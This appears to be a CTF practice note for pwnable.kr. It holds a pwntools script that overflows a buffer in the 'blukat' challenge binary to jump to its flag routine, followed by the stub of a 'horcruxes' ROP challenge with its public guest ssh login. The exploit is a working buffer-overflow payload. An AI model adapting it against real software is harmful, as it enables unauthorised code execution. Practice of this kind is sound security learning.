context(log_level='DEBUG', arch='amd64')
io = process('./blukat')
elf = ELF('./blukat')

pwnlib.gdb.attach(io, 'b fgets')

calc_flag_addr = elf.symbols['calc_flag']
password_addr = elf.symbols['password']

payload = flat(['\x90' * (100 + 0x4 + 0x8), calc_flag_addr, password_addr])
io.sendline(payload)
io.interactive()
io.close()

horcruses (TODO)

Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and ROP it!
author: jiwon choi

ssh horcruxes@pwnable.kr -p2222 (pw:guest)